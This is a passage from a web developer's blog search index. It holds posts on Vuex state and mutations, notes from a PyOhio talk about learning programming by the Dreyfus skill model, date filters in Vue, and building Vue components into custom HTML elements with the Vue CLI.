state.\nGetters are for common filters and formatters for the data # Getters are used much like computed properties in Vue components, it\u0026rsquo;s a way to have filtered or formatted data from the state that any component can connect to. Instead of having a computed property in each component, you can create a new getter that components can share and will update when the state updates.\nThere is the question of should you always use getters when accessing state that I answered recently too. Check that out if you ever wondered that.\nSo really, just another way of accessing state (but never updating it!).\nHopefully this gives you a better handle on what Vuex is doing if you were struggling with it before. I know it helped me.\n","date":"31 July 2019","externalUrl":null,"permalink":"/understanding-data-flow-in-vuex/","section":"Posts","summary":"If you’re like me, when you first ran into Vuex, you probably wondered “How the heck does this work?” It’s not immediately obvious how these types of state management systems work, especially if you come from an SQL background. And do I even need it? In fact, the Vuex documentation has a quote that sums it up pretty well:\n","title":"Understanding data flow in Vuex","type":"posts"},{"content":"","date":"31 July 2019","externalUrl":null,"permalink":"/tags/workflow/","section":"Tags","summary":"","title":"Workflow","type":"tags"},{"content":"Welcome to further reading and notes from the Your Own Personal Bootcamp talk. It was great seeing you all at PyOhio this year and I can\u0026rsquo;t wait to come back again. I hope that, if you were able to see the talk, you were able to pull something away from the talk and had as much fun watching it as I did giving it.\nTo find out more about the Dreyfus Model of Skill Acquisition, you can check out the [Wikipedia page] on it and read this excellent article on applying it to your situation: Use the Dreyfus Model to Learn New Skills.\nRead up on more information about Tech Elevator where I work as a Curriculum Developer. Check out our events schedule too and come visit us for an Open House or just come to one of our many hosted meet ups.\nI also have a couple of articles on this site that you might find interesting:\nHow can you make learning programming less boring? How to Measure Your Progress While Learning Programming Don’t fear the frustration What makes a great programmer? And finally, I have added in my original notes below. This isn\u0026rsquo;t exactly how the talk went and they\u0026rsquo;re pretty rough, but it was the original inspiration and brainstorming I did for the talk. Hopefully, it\u0026rsquo;s helpful for you.\nAnd here\u0026rsquo;s the video, if you\u0026rsquo;d rather watch that!\nI\u0026rsquo;m Joseph Erickson. I\u0026rsquo;m a curriculum developer at Tech Elevator, a 14 week bootcamp with 5 locations in the rust belt and growing. One of which is in Columbus.\nOur grads learn a variety of skills while in the program including either Java or C#, MVC architecture, modern CSS, the Vue JavaScript framework, building and connecting to APIs and a bunch of stuff in between. All in 14 weeks of full-time, intense training. No one comes out of this an expert, but they do come out with a good head start for a junior dev role, or so our hiring partners tell us. companies hire the students we train and keep them. And are very happy with them.\nWe take them from complete novices at times to competent developers. We do carefully screen candidates to make sure that they could compete in a fast paced program like ours. We also have designed the curriculum, and constantly refine it, to gear it towards the best learning experience that we can get. Part of my role there is to study how learning happens and look at what best practices there are out there around teaching, knowledge retention, and efficient learning techniques. This talk will focus on that. But enough about me. Let\u0026rsquo;s talk about you.\nAs people in technology, learning is something that you all will never stop doing. New things come out and you need to pick them up for your jobs, your personal interest, and your career advancement. And you want to learn efficiently. This talk is all about that. How to learn without the floundering.\nOne think I\u0026rsquo;ve learned is that this is mostly mental. And I don\u0026rsquo;t mean just learning wise, I mean morale wise. One thing we work hard on at Tech Elevator is having students win the mental game of \u0026ldquo;I\u0026rsquo;m not good enough\u0026rdquo;. That\u0026rsquo;s a hard lesson to learn whether you are in a bootcamp or have been in the industry for 20 years. But it\u0026rsquo;s vital to effective learning. Knowing you can. Proving to yourself that you can make progress. Being able to celebrate small wins.\n\u0026ldquo;Of all the things that can boost emotions, motivation, and perceptions during a workday, the single most important is making progress in meaningful work.\u0026rdquo;\nhttps://hbr.org/2011/05/the-power-of-small-wins It has been shown time and time again that small wins really matter, seeing progress matters way more than making progress. This must be kept in mind when learning. And brings us to two very important needs as we move forward, we need to make progress in the learning in the most efficient way possible and we must see that progress along the way or we will give up even if we are almost complete.\nRule #1: You must be aware of your progress # How do we go from knowing nothing to being able to actually do something? Many people have studied this over the years, but there\u0026rsquo;s one model that speaks to me and made a lot of sense in how I\u0026rsquo;ve found myself learning over the years and how I\u0026rsquo;ve seen bootcamp student pick up the skills they will need to know on the job.\nThe Dreyfus model of skill acquisition is an attempt to explain and guide how an adult learning actually picks up a skill enough to perform tasks in it. It lays out a series of stages that you\u0026rsquo;ll pass through and gives some guidance in how best to learn at each of the stages.\nThe first stage is the novice. This is someone who knows nothing about the subject.\nNext is beginner. The beginner has some knowledge of the subject, but that knowledge is very situation specific. They know how to do this thing, but thinking laterally and applying their new skills to other problems they haven\u0026rsquo;t seen will be hard.\nThen, competent. The student can now begin to explore the wider world of the technology. Begin to learn what else is out there.\nProficient is next. After looking at a couple of options, the right course is generally pretty clear. This is where intuition starts to kick in.\nFinally, expert. Things are now obvious. You couldn\u0026rsquo;t say exactly why a certain course of action is right, it just is. You can usually justify yourself after the fact, but it usually boils down to, \u0026ldquo;That just doesn\u0026rsquo;t work and this does.\u0026rdquo;\nRule #2: Know where you are in the learning process # Now, let\u0026rsquo;s look at these stages and what is the best approach to learning at each one. First, I\u0026rsquo;ll start with being a complete novice, because that\u0026rsquo;s where most of us will start.\nNovice # At this level, you are unconsciously incompetent.\nThat just means that you don\u0026rsquo;t know what you don\u0026rsquo;t know. You know nothing about the subject except maybe an introductory level of understanding about what it is. You may have heard chess is a game and seen someone play and you like games so maybe you\u0026rsquo;ll try it.\nAt this stage, you just need to learn the basics. In fact\u0026hellip;\nLearning the concepts. Before you can hope to understand anything, you need to have some mental model or mental picture of what\u0026rsquo;s going on. You need a structure in which to hang any future lessons. Get some code under your belt because experience is the only way to build that model.\nLearn the what and the how. The why will come later, you just need to type code and make things happen. To do that you will\u0026hellip;\nYou just need to run through some tutorials and example projects where someone is leading you through step-by-step. Find a couple of different ones so that you can see parts of this from different angles, but stay on the trails! Just do some tutorials first. The practice really matters. Whatever you do\u0026hellip;\nDon\u0026rsquo;t dive deep into the documentation! I\u0026rsquo;ll just confuse you and try to show you alternate ways of doing something that you have no understanding of. You need to start off with one way of doing something. Follow the recipes, don\u0026rsquo;t read a triste on cooking beef through the ages. That\u0026rsquo;s how you learn how to cook.\nLearn from those who are just a little ahead of you or know how to teach a novice. Many online lessons have no idea how to teach someone just starting out, because many of those people intuitively know things that novice have no idea about. We go through a lot of instructor candidates that have 20 years of experience but no idea how to explain an array to someone who has no mental model of what an array even is. You need someone who can get to your level.\nFinally, focus on the technology you\u0026rsquo;re trying to learn, not on all the things. Sadly, many JavaScript frameworks need knowledge of ten different things before being able to make anything in them. Try to use CLIs or other things in the tutorial without trying to understand them. You can come back to them later and understand what they\u0026rsquo;re doing. Try to focus on doing things in the technology you are trying to learn. Many bad tutorial try to teach you Vue, TypeScript, SASS, Vuetify, Vuex and everything else all at once. You\u0026rsquo;ll never pick anything up trying to do all that. Take those one at a time if you don\u0026rsquo;t want to hate life.\nBeginner # Novice is a stage that is fairly quick. Once you have some of the tutorials under your belt, it\u0026rsquo;s time to start branching out.\nNow you\u0026rsquo;ll start learning the Where. Where do I use this piece, where can I utilize this technique? You\u0026rsquo;re going to start experimenting outside of the nice, safe lines of a tutorial.\nAnd you\u0026rsquo;ll do this by screwing up. A lot hopefully. The more you push yourself out of your comfort zone, the more solid your understanding of the concepts will be. You are exploring in the dark but your brain is mapping it all out as you go. You might hit dead-ends, but that\u0026rsquo;s good because the landscape is becoming clearer. Do this by\u0026hellip;\nChanging the tutorials to make them your own. Do the hero tutorial for Angular? Make it into a book review site. Made a simple note app in flask? Add more features and make it something useful for you. Don\u0026rsquo;t worry if there are already 100 different versions of your app already out there. The point isn\u0026rsquo;t the app right now, the point it going beyond the tutorial.\nTake an idea and make a project out of it. Start with a todo list. Already made a todo list? Make another one. Do something simple. Once problem students have sometimes is thinking that their first project is going to be an application that reads all the scores from the MLB site, calculates all the stats for them and tells them which draft pick to take for their fantasy league. No. That\u0026rsquo;s a bad beginner project. How about an application that takes the data and shows it as a table in HTML? Yes, that\u0026rsquo;s a good project. Later add the bells and whistles. The key to this and helping to win the mental game is small wins. Try for something small. First, it will take you way longer to do than you think and second, it will give you that burst of confidence you need to keep going. That\u0026rsquo;s way more important than having something that no one else has.\nThis is the stage where you will move into conscious incompetence. You will know how much you don\u0026rsquo;t know. This is often called the Dip and it\u0026rsquo;s where most people fail. This is also the stage, if you are in a bootcamp, where you will hang out for about 14 weeks straight. It\u0026rsquo;s not fun or rewarding to be constantly reminded of how bad you are at something. People will do one of three things here:\nMany people just give up. If it\u0026rsquo;s not fun anymore, why do it? I think a lot of people that take a bootcamp fall into this category. They want the structure, the outside accountability, and frankly the money on the line to help them not give up. But the emotional pain and frustration still push people to throw in the towel. But does giving up bring you closer to your goal? Try to think of the frustration as a required part of the learning process. Much like sore muscles. That means it\u0026rsquo;s working. Feeling frustrated means that you know enough now to know that there\u0026rsquo;s got to be a way and finding that way isn\u0026rsquo;t fun, but it is rewarding once you succeed, and you will succeed. Others have. A way is obviously there for you, you just need to cut down the weeds to find it. There are others who will just keep doing the tutorials and spinning their wheels doing the same thing over and over. It\u0026rsquo;s comfortable there. You already know it. But dear lord it\u0026rsquo;s boring. You can\u0026rsquo;t advance unless you get uncomfortable. Unless you\u0026rsquo;re willing to get frustrated. You need to advance at some point and go off of that well worn trail. The third option is to push through. Keep going. Put in the time, even when it\u0026rsquo;s not fun or it\u0026rsquo;s super frustrating. You will succeed if you keep at it. Practice is the only thing that will get you there. That makes it super important that you track your progress. Be sure to take stock any time you think you\u0026rsquo;re not getting it. Make a list of the concepts you understand and those you still want to get. and then mark them off as you figure them out. Progress is very hard to intuit in programming, so make it visual and make it obvious. that will go a long way in improving your morale as you learn.\nCompetent # Finally, the hollowed lands of competence. Competence is born out of practice and application, as is every stage. Books will only get you more to learn. This is the stage of the junior developer, you might not be able to create a full project from scratch, but you can do independent work on a real project.\nNow is the time for some simple paid work or real on the job training. A personal project that is more complex is also good. Why these? Because paid work will tell you things to do that you haven\u0026rsquo;t even thought of, and that will stretch your skills even further. These aren\u0026rsquo;t things that you\u0026rsquo;ll do in a tutorial or that you\u0026rsquo;ll even find in the documentation. They are new ideas that you\u0026rsquo;ll have to fit into your mental model of the concepts and see how the concepts can be used in different ways. There should be lots of questions and unknowns at this stage and lots of answer finding by google searching and experimentation.\nThis is when you will enter the world of conscious competence. You\u0026rsquo;re not perfect at everything, but you can see how your hard work it paying off in progress and competence. Having someone pay you for that or acknowledge your achievements is exactly what you need right now.\nNow that you can perform in this skill, it\u0026rsquo;s important to start digging into the Why of what you\u0026rsquo;re doing. Why does the documentation tell you to do something this way and not that way? Why does the data seem to magically update itself? These might have been questions you have asked yourself all along, but trying to figure out why before you\u0026rsquo;re ready might lead to confusion and misunderstandings. But now that you have some competence under your belt, it\u0026rsquo;s a good time to dig deeper to really solidify the mental model of how things are working.\nEither on the job or off, find someone who you can ask deeper questions to and review your code. Earlier, it was way more important that you get things to work and feel good about that. Now, a code review can point out not just better alternatives to your solutions but also where your solutions might not always work. Detailed and helpful developers will be able to help you accelerate your learning even more. Be careful of unhelpful experts. There are some that feel good telling others that their ideas aren\u0026rsquo;t good enough when they\u0026rsquo;re really just not exactly like theirs. Some developers really get off on making others feel bad. They are petty, lonely people and should be avoided at all costs.\nYou are at a prefect nexus point to start teaching others. You still have a fairly good feel for what it\u0026rsquo;s like to be a Novice and Beginner, so teach them what you know. It will solidify the skills for you because you have to express them in English, one of the hardest programming languages to learn. It will also force you to think about things in different ways and from different angles and help you dive a little deeper into things that \u0026ldquo;you already know\u0026rdquo;. So give talks, write posts and reenforce your knowledge.\nProficient and Expert # This is where everything comes together and certain decisions about the technology are just obvious.\nThis is the world of unconscious competence. You don\u0026rsquo;t even know all that you know anymore. That makes it very hard to teach novices. How do they not know what a ternary is? And how the hell do you explain it? Getting here is, of course, the goal.\nRule #3: Learn at the level you are at # Of course there are some caveats to this. Does everyone really start out as a Novice? Often in our work, the answer is no. If I already know Java, picking up Python won\u0026rsquo;t be 100% foreign. A lot of the concepts will already be there, Objects, if statements, stuff like that. That means that this Novice stage will go pretty fast. Probably with one or two extensive tutorials to see what is different.\nAre these stages set in stone? No, of course not. You\u0026rsquo;ll be on a sliding scale within these, maybe competent at one aspect of the technology, but a near novice in another. There are a lot of beginning programs that work on if statements and logic all day long and have no experience with good OO design. That\u0026rsquo;s okay, just remember to branch out a little more to strengthen those areas.\nThe Game Plan # So, what\u0026rsquo;s the game plan? How should you approach learning that next big thing?\nFirst, mentally prepare to fail and flounder. It\u0026rsquo;s the only way to actually learn. You will do it. It won\u0026rsquo;t feel good. But you need to move forward and you know you want this. So pay that price and be okay with it. You can struggle and complain and throw things and yell and scream and hate every minute of it. Or you can struggle.\nStart with the simplest, most step by step thing. Your first goal is not to know how to do something right off the bat, your goal is to just do it. The understanding comes from repetition and from building the concept first. Skip this step, wander from the path, and you\u0026rsquo;re liable to get lost.\nRemember that frustration is the sore muscle of learning programming. It\u0026rsquo;s okay to be frustrated, it means that your mental model is conforming more to reality. It\u0026rsquo;s also okay to take a break! You\u0026rsquo;re going to learn more through your subconscious than through your conscious mind. Take a walk, play ping pong, take a nap. Sleep is important. It\u0026rsquo;s how your brain gets things into long term memory so use that to your advantage.\nFind a supportive site or group and use them to ask questions to. Formulating your struggle into a good question can be a great way to assimilate an idea. If you run into a site or forum where people are acting like you are an idiot for asking basic questions (Reddit), leave that forum and find a better one. You\u0026rsquo;re allowed to learn and to start at the beginning. I do recommend trying to answer your own questions and searching, but really, find a forum or people that are helpful and use them. I think that\u0026rsquo;s one of the reasons Python has generally done better than other languages, because of the helpful community.\nFind ways to win. Work on small projects. The add a small feature to it. Don\u0026rsquo;t worry about the finished product. Worry about now. If you keep worrying about now, the finished project will take care of itself. Celebrate figuring out a difficult piece. All of these will keep you going, keep you learning and keep you winning.\nAgain, focus. Want to learn Vue? Then go through the tutorial that\u0026rsquo;s already there. I saw a tutorial that showed Vue, Vuetify, Firebase, Vuex and I don\u0026rsquo;t know what else. That\u0026rsquo;s not your first tutorial. You need to know all of those technologies before even attempting to go through that with any hope of getting anything out of it. Make simple things, then add another technology.\nAt Tech Elevator, we start off teaching variables. Just variables. A whole day of variable and data types. At the end, students are making front-end Vue applications that connect to a full back-end written in Java and connecting to a Postgres database with user authentication and authorization, external API integration, and not too bad CSS. We start incredibly small, but we add on every day and make sure there is constant progress.\nI didn\u0026rsquo;t know half of this stuff before joining Tech Elevator. I didn\u0026rsquo;t know a lot of this stuff before starting this talk, but the act of making the talk made me solidify my concepts and put them in a format that ordered them better in my head. This is going to make me better at teaching and at building material for Tech Elevator to use to teach. Write a blog, write on dev.to, make a video, answer a question on Stack Overflow.\nWriting a blog is one of the best things you can do while learning for yourself. And before you think that no one will want to read it, understand that you are in a much better position to teach beginners than many of the people post online.\n","date":"29 July 2019","externalUrl":null,"permalink":"/your-own-personal-bootcamp-talk-notes/","section":"Posts","summary":"Welcome to further reading and notes from the Your Own Personal Bootcamp talk. It was great seeing you all at PyOhio this year and I can’t wait to come back again. I hope that, if you were able to see the talk, you were able to pull something away from the talk and had as much fun watching it as I did giving it.\n","title":"Notes and Further Reading for Your Own Personal Bootcamp Talk","type":"posts"},{"content":"It\u0026rsquo;s a common question I\u0026rsquo;ve seen around and one that I\u0026rsquo;ve wondered about myself at times. When using Vuex, why is it said that state should only be changed via mutations? Is it really that big a deal? Can\u0026rsquo;t I just change it directly? It sure seems to work just fine that way.\nWell, yes. And no. And maybe. While it\u0026rsquo;s possible in Vuex to change the state all willy nilly outside of mutations, it can also fail badly when you least expect it.\nThe idea of the Flux style of data stores (like Vuex) is that data has a certain path that it flows through. First, it hits an action, then is passed to a mutation and only then is updated in the store. This is done to make debugging and use of the data store easier and not crazy making. If all the components just threw data into the state willy nilly, then all kinds of chaos could break loose. JavaScript is an asynchronous language and two different parts of the program could be trying to change the same thing at the same time. Reading data? That\u0026rsquo;s fine. Writing it? You\u0026rsquo;ve got an issue on your hands.\nAt least in theory. I\u0026rsquo;ve written a number of components to try and break this and I haven\u0026rsquo;t been able to get it to happen. This is mainly because JavaScript is theoretically an asynchronous language. In reality, most of your code will run synchronously and JavaScript will wait for a function to finish before running the next one. So even if two functions get triggered at the same time (like through a timeout or shared event), one will always run first, followed by the other.\nThis means that mutations aren\u0026rsquo;t really a consistency feature after all. So are they really still useful?\nYes, because it still gives you a simple structure to follow when writing your code, a structure that you will remember the next time you need to maintain it. If you follow the convention of always changing state with a mutation, then you will always know in your application where the state is being changed.\nMutations are called by components and actions, but not like regular methods. They get \u0026ldquo;committed\u0026rdquo;. This just means that when a component wants to change data, the change gets added to a commit queue in the data store and it\u0026rsquo;s first come, first serve. Things aren\u0026rsquo;t happening at the same time because Vuex processes the changes in the order it receives them synchronously.\nThat makes debugging much easier. Seeing strange data where you don\u0026rsquo;t expect it? Open up the Vue Dev Tools and step through the data store changes one by one. Each change to the data store will be \u0026ldquo;committed\u0026rdquo; and you\u0026rsquo;ll be able to roll it back and see everything that led up to that point. This logging is the real reason you should only change the state with mutations.\n","date":"25 July 2019","externalUrl":null,"permalink":"/why-should-change-state-vuex-mutations/","section":"Posts","summary":"It’s a common question I’ve seen around and one that I’ve wondered about myself at times. When using Vuex, why is it said that state should only be changed via mutations? Is it really that big a deal? Can’t I just change it directly? It sure seems to work just fine that way.\n","title":"Why should you only change state in Vuex through mutations?","type":"posts"},{"content":"Looking for how to format dates in Vue 3?\nIf you\u0026rsquo;ve used Vue for any length of time, you soon find that it doesn\u0026rsquo;t have a lot of the fancy formatting options that some of the other frameworks seem to have out of the box. I get the feeling that Vue is very focused on minimalism and adding features that aren\u0026rsquo;t core to the framework is not something they want to do. One of those features, however, is formatting dates.\nHave you ever had an ugly date from your data source formatted like \u0026quot;2019-07-16T20:32:21\u0026quot; and thought, \u0026ldquo;What\u0026rsquo;s the most straightforward way to make this not unreadable?\u0026rdquo;\nMy first thought was to use a computed property, but I quickly found that doesn\u0026rsquo;t work very well. If I have a date nested down in an array of objects, I can\u0026rsquo;t really format that using a computed property.\nMy next thought was to use a method in the component. But date formatting is a very common issue. I don\u0026rsquo;t want to solve it in one component, I want to solve it in all of my components.\nI could loop through the data and create a new property on the object to hold the formattedCreateDate and the formattedUpdateDate, but then I have to recalculate all of those every time I get a new set of data. That sounds like crying to me. Why am I saving new data in order to change the view of that data? Nope, that goes against all the computery sciencey stuff I\u0026rsquo;ve ever learned.\nArg.\nSo I looked around. What was the \u0026ldquo;right\u0026rdquo; answer? Something that was easy and straightforward and, more importantly, reusable and maintainable in one place.\nVue Filters # This is when I found out that Vue has filters. Filters are little UI helper methods that allow you to quickly format data right in the view. Filters look something like this:\n{{ name | capitalize }} Where name is the variable name and capitalize is a filter that takes the value in name and formats it. Then the mustache expression will show the result of the capitalize filter.\nI didn\u0026rsquo;t know Vue even supported these. Every other view framework I\u0026rsquo;ve ever used has this feature so it\u0026rsquo;s really not something I\u0026rsquo;m surprised about, but Vue does not really tout them very much. They are hidden far down in the Vue documentation, but supported they are.\nThis is the kind of set up I want for dates. I have the data and just want to format it differently for this view.\nA Simple Date Filter for Vue # So the simple answer is, use a filter that handles dates. Here\u0026rsquo;s one: https://github.com/eduardnikolenko/vue-filter-date-format\nThis filter will take your date and spit it out in a specified format. First, you\u0026rsquo;ll need a Date object. If you aren\u0026rsquo;t storing your dates in your data properties as Date object, you can use https://github.com/eduardnikolenko/vue-filter-date-parse to convert a date string in an object.\n{{ \u0026#39;2019-07-16\u0026#39; | dateParse(\u0026#39;YYYY-MM-DD\u0026#39;) }} And then use the dateFormat filter to show the date in a more user friendly way:\n{{ \u0026#39;2019-07-16\u0026#39; | dateParse(\u0026#39;YYYY-MM-DD\u0026#39;) | dateFormat(\u0026#39;MMMM D, YYYY\u0026#39;) }} The nice thing about these filters is that they don\u0026rsquo;t pull in any extra libraries. They are extremely light weight, just holding the filter functions that use the standard JavaScript Date object functions. 1\nThis covers about 90% of my date needs and doesn\u0026rsquo;t bloat my code. But what if you need something a little more beefy?\nA More Complex Date Filter in Vue # The big woohoo of date libraries in JavaScript is Moment.js. Moment.js can do anything. If you\u0026rsquo;re looking for date formats like 2 hours ago or Last Saturday at 9:00 PM, then you\u0026rsquo;ll need something like Moment.js. Luckily, there is a handy filter that uses Moment.js too and will give you all of that amazing functionality:\n{{ \u0026#39;2019-07-16\u0026#39; | moment(\u0026#39;from\u0026#39;, \u0026#39;now\u0026#39;) }} I wouldn\u0026rsquo;t use this filter unless you absolutely need this kind of advanced functionality. Moment.js is not a small library and loading it in to your web page just to do simple date manipulations just isn\u0026rsquo;t worth it.\nAll of these install from NPM and import right in your main.js file. They also have excellent documentation, so check them out and solve all of your Vue date problems for good.\nYou can take a look at the filter function here.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"16 July 2019","externalUrl":null,"permalink":"/how-to-format-dates-in-vue/","section":"Posts","summary":"Looking for how to format dates in Vue 3?\nIf you’ve used Vue for any length of time, you soon find that it doesn’t have a lot of the fancy formatting options that some of the other frameworks seem to have out of the box. I get the feeling that Vue is very focused on minimalism and adding features that aren’t core to the framework is not something they want to do. One of those features, however, is formatting dates.\n","title":"How to format dates in Vue 2","type":"posts"},{"content":"If you\u0026rsquo;re working in Vue, the Vue CLI is an amazing thing. There are a lot of moving parts in modern JavaScript development and the CLI makes managing these very easy.\nOne of the niceties that the CLI will give you is the ability to compile your Vue components into custom HTML tags. I\u0026rsquo;ve talked about how to get this set up in [What are custom HTML elements](What are custom HTML elements.md) and in [Building custom elements from Vue CLI](Building custom elements from Vue CLI.md). This article is about how to then compile and export those components so that they are ready to put on any web page.\nTranspiling Vue to Custom Components # The process of turning Vue into an official, browser supported Web Component is handled via a Vue build tool called @vue/web-component-wrapper. This will take your component and build it into the format needed by the Web Component standard. This transpiling from a Vue component to a custom component is already built into Vue CLI, so if your project was created with Vue CLI, all you have to do to export a component to a custom component is this:\nvue-cli-service build --target wc --name my-blink \u0026#39;src/components/Blink.vue\u0026#39; This will create three files in your dist folder:\nFilename Purpose my-blink.js The code for your component minus the Vue library demo.html A simple demo HTML file for your component my-blink.js.map The debugging information for your browser my-blink.min.js The minified version of the component my-blink.min.js.map The debugging information for the minified version The important thing to know here is that you must include the Vue library in your HTML wherever you want to use your component. It\u0026rsquo;s not included in the build itself. If you look at the demo HTML file that was created during the build process, you\u0026rsquo;ll see that in action.\n\u0026lt;script src=\u0026#34;https://unpkg.com/vue\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;./my-blink.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;my-blink\u0026gt;\u0026lt;/my-blink\u0026gt; You can then use that demo.html file to test out the component.\nWhat if you have more than one component? # What if you have multiple components that you want to turn into Web Components? You don\u0026rsquo;t need to build each one individually, you can instead build them all at once.\nvue-cli-service build --target wc-async --name demo \u0026#39;src/components/*.vue\u0026#39; This will build your components into multiple files that are actually lazy loaded into the browser. If you don\u0026rsquo;t use a certain component, its file won\u0026rsquo;t be loaded in. Nice!\nBut what about the --name? When you defined that in your single component build, it made the tag that name. But here you have multiple components. What does it do now?\nHere, --name is used as a prefix for your tags. So if your Vue component is named blink and the --name is defined as demo, then your tag will export as demo-blink.\nAnd that\u0026rsquo;s it # Now you can build your Vue components, take the js files from dist and drop them onto any web page. Then just include the tag anywhere in your HTML and BOOM Vue components on any page.\n","date":"4 June 2019","externalUrl":null,"permalink":"/building-custom-elements-vue-cli/","section":"Posts","summary":"If you’re working in Vue, the Vue CLI is an amazing thing. There are a lot of moving parts in modern JavaScript development and the CLI makes managing these very easy.\n","title":"Building custom elements from Vue using the CLI","type":"posts"},{"content":"I talked about what custom HTML elements were in my last post. Today, I\u0026rsquo;m going to walk through the process of getting a new Vue CLI project off the ground so that you can build your own. I\u0026rsquo;ll be using the \u0026lt;my-blink\u0026gt; tag example again, but will be focusing on the step by step1 instructions for creating the environment in which to build and deploy the tags you will be creating.\nGetting the Vue CLI2 # The first thing you\u0026rsquo;ll want to set up is the Vue CLI. This is an amazing tool that will install and configure nearly everything you need to Vue development, and will help you build our components as custom HTML elements.\nYou\u0026rsquo;re going to do quite a bit in our command line, so open up your favorite command line and type in the following on Windows:\nnpm install -g @vue/cli Or this on Mac or Linux:\nsudo npm install -g @vue/cli This will install a new program on your computer called, funnily enough, vue. This vue application is a great starting point for any new Vue project, whether that\u0026rsquo;s a SPA3, a mobile application, or custom HTML elements.\nUsing Vue CLI to create a new project # To create a new Vue project, you can use the new Vue CLI. If you run the following command, it will create and download a whole new Vue project into a folder called my-custom-elements:\nvue create --bare --default my-custom-elements Using --bare will prevent the CLI from creating a needless HelloWorld component and --default will tell the CLI to set up a simple project. There are a lot of extras that you can add to the project using the CLI, but you don\u0026rsquo;t need any of that at the moment.\nOnce this is done, change into the new directory and open it in your favorite editor.4\nThe Vue project structure # Looking at the project structure, there\u0026rsquo;s a lot that was created for us here! There are a number of Node.js files here that set up some tools for our project and all the libraries we will need to build and compile our tags. You can read up about what package.json is here and get a bit of knowledge about node_modules here.\nYou should see two other folders in there are well, src and public. I\u0026rsquo;ll leave an explanation of public for another time, but what you want to focus on is the src folder.\nThe src folder is where all of your component code will go for the project. This is the location of your source code in the project structure.\nIn fact, you\u0026rsquo;re going to create a new folder here. Just right click on the src folder, select New Folder and call the folder components. This is where you will create your components that will become custom elements.\nCreating the custom element # Now that you have your project set up, we\u0026rsquo;re going to create a new component. Right click on the new components folder and select New File. Name this file Blink.vue and set its content to the following:\n\u0026lt;template\u0026gt; \u0026lt;span ref=\u0026#34;blinkyText\u0026#34;\u0026gt;\u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { name: \u0026#34;blink\u0026#34;, mounted() { setInterval(() =\u0026gt; { this.$refs.blinkyText.classList.toggle(\u0026#34;onoff\u0026#34;); }, 500); } }; \u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; .onoff { visibility: hidden; } \u0026lt;/style\u0026gt; This creates a Single File Component in Vue for us, which makes creating custom elements very simple and with an existing web developer syntax. This component should be pretty easy to read as is. \u0026lt;slot\u0026gt;\u0026lt;/slot\u0026gt; will be replaced with whatever is inside our custom tag, so the view is just wrapping a span around that. The CSS, at the bottom, creates a new style class that will hide an element (setting its visibility to hidden). The JavaScript logic will then, when the component is \u0026ldquo;mounted\u0026rdquo; or loaded onto the page, take that span that you created and toggle (or add/remove) the class from the span, thereby showing and hiding the content from the slot.\nNow you can create this as a custom HTML element.\nBuilding the component into a custom element # By default, this project is not set up to actually create custom elements. It has all the tools needed to do so, but we need to set up a new script to get it to happen.\nOpen the package.json file. There is a lot already set up in this file, but you want to go to the section that is labeled \u0026quot;scripts\u0026quot; and add a new one. Currently, it will look like this:\n\u0026#34;scripts\u0026#34;: { \u0026#34;serve\u0026#34;: \u0026#34;vue-cli-service serve\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;vue-cli-service build\u0026#34;, \u0026#34;lint\u0026#34;: \u0026#34;vue-cli-service lint\u0026#34; }, You\u0026rsquo;re going to change the build script to something new. Change it to look line this:\n\u0026#34;scripts\u0026#34;: { \u0026#34;serve\u0026#34;: \u0026#34;vue-cli-service serve\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;vue-cli-service build --target wc --name my-blink \u0026#39;src/components/Blink.vue\u0026#39;\u0026#34;, \u0026#34;lint\u0026#34;: \u0026#34;vue-cli-service lint\u0026#34; }, That build script is now changed to create Web Components (--target wc), give the custom element a name (--name my-blink)5, and just build the one component ('src/components/Blink.vue').\nOnce you add that to package.json and save the file, you can now run the build process to create your custom element. Run the following command on the command line in your project folder:\nnpm run build This will build your custom element and put a JavaScript file in the dist folder of your project (which should have just been created). It will also create a demo.html file for you. From that file, you\u0026rsquo;ll see this:\n\u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;my-blink demo\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/vue\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;./my-blink.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;my-blink\u0026gt;\u0026lt;/my-blink\u0026gt; This isn\u0026rsquo;t a full HTML file, so isn\u0026rsquo;t too useful, but you can see what you will need to do to use this custom element. First, you\u0026rsquo;ll need to include the Vue framework on the page:\n\u0026lt;script src=\u0026#34;https://unpkg.com/vue\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; Then include your custom element JavaScript file that got built into the dist folder:\n\u0026lt;script src=\u0026#34;./my-blink.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; And then use your new tag!\n\u0026lt;my-blink\u0026gt;\u0026lt;/my-blink\u0026gt; Or, more accurately if you were using this in real life:\n\u0026lt;my-blink\u0026gt;\u0026lt;h1\u0026gt;Look!!! Blinking text!!!\u0026lt;/h1\u0026gt;\u0026lt;/my-blink\u0026gt; That\u0026rsquo;s all there is to it. There are a lot of steps here and we haven\u0026rsquo;t even talked about more multiple custom elements or getting them to communicate together (which I plan on getting to), but you can see how a simple Vue component can be created into a custom element.\nOooooooh, Baby!\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nI\u0026rsquo;m going to assume here that you have Node and NPM installed already. If you don\u0026rsquo;t, do that first.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSingle Page Application\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMight I suggest Visual Studio Code?\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBy the standard, all custom elements built by a developer must contain a -. I\u0026rsquo;ll get into good naming conventions in another post.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"8 March 2019","externalUrl":null,"permalink":"/setting-vue-cli-project-custom-html-elements/","section":"Posts","summary":"I talked about what custom HTML elements were in my last post. Today, I’m going to walk through the process of getting a new Vue CLI project off the ground so that you can build your own. I’ll be using the \u003cmy-blink\u003e tag example again, but will be focusing on the step by step1 instructions for creating the 